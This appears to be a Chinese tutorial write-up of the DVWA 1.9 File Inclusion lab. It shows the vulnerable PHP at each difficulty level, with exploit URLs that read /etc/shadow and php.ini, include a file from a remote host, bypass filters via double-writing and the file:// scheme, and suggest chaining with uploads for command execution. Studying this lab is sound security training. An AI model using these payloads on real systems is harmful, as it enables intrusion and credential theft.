DVWA-1.9之File Inclusion low级 Medium级 High级 Impossible级

服务器端核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];

服务器端对page参数没有做任何的过滤跟检查

漏洞利用

本地文件包含

构造url:http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow
报错,说明不是linux系统。报错的同时,暴出了网站的根目录,于是可以构造url读取各种信息,如 php.ini文件
注意:构造url时可以使用相对路径与绝对路径两种方法

远程文件包含

构造url,执行位于192.168.5.12服务器上的一个文件phpinfo.txt
http://192.168.153.130/dvwa/vulnerabilities/fi/page=http://192.168.5.12/phpinfo.txt
注意:为了增加隐蔽性,可以对url进行url编码

Medium级

服务器端核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..""),"",$file);

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

漏洞利用

str_replace函数是极其不安全的,因为可以使用双写、大小写绕过
其余步骤如LOW级

High级

服务器端核心代码

<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

漏洞利用

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议

构造URL

http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

注意:

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible级

以添加白名单的方式,限制了访问文件

服务器端核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}